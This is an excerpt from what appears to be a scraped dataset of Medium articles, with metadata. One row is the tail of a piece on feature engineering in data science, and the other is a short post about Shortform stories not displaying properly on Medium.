Feature engineering is an exciting way to enhance your model performance and definitely requires some good discernment and experience to become more intuitively better at this. In many ways, it truly is an art. It requires some level of creativity, willingness to experiment, and explore features from many different angles.
As we all strive towards becoming better data scientists, I hope we all continue to develop and hone our skills in feature engineering. | https://medium.com/swlh/the-art-of-feature-engineering-5a09bd475198 | ['Young Park'] | 2021-01-11 08:19:41.749000+00:00 | ['Polynomialfeatures', 'Python', 'Data Science', 'Statsmodels', 'Scikit Learn'] |
Several writers publishing Shortform have experienced difficulty with their story being displayed… | Several writers publishing Shortform have experienced difficulty with their story being displayed in full on their profile page or in publications even though they are 150 words or less, and I am investigating why this occurs. We need to understand why Medium does not recognize the format we’re presenting. One of my Shortform Publishing stories was not displaying properly, and I don’t know why.
Writers here become very frustrated the second an issue appears with our stories. I believe it’s important for us to manage our expectations of Medium and from ourselves. When we think Medium is purposely out to get us, I think we must consider the reasoning behind our blaming. Do they really want to hurt us? Why would they waste their energy and productivity on any writer in such a manner?
For me, it is better to understand the reason for my error and correct my behavior. | https://medium.com/everything-shortform/several-writers-publishing-shortform-have-experienced-difficulty-with-their-story-being-displayed-3134654453a1 | ['Greg Prince'] | 2020-12-17 04:23:46.759000+00:00 | ['Writing Tips', 'Mindset', 'Publishing', 'Marketing Strategies', 'Short Form'] |
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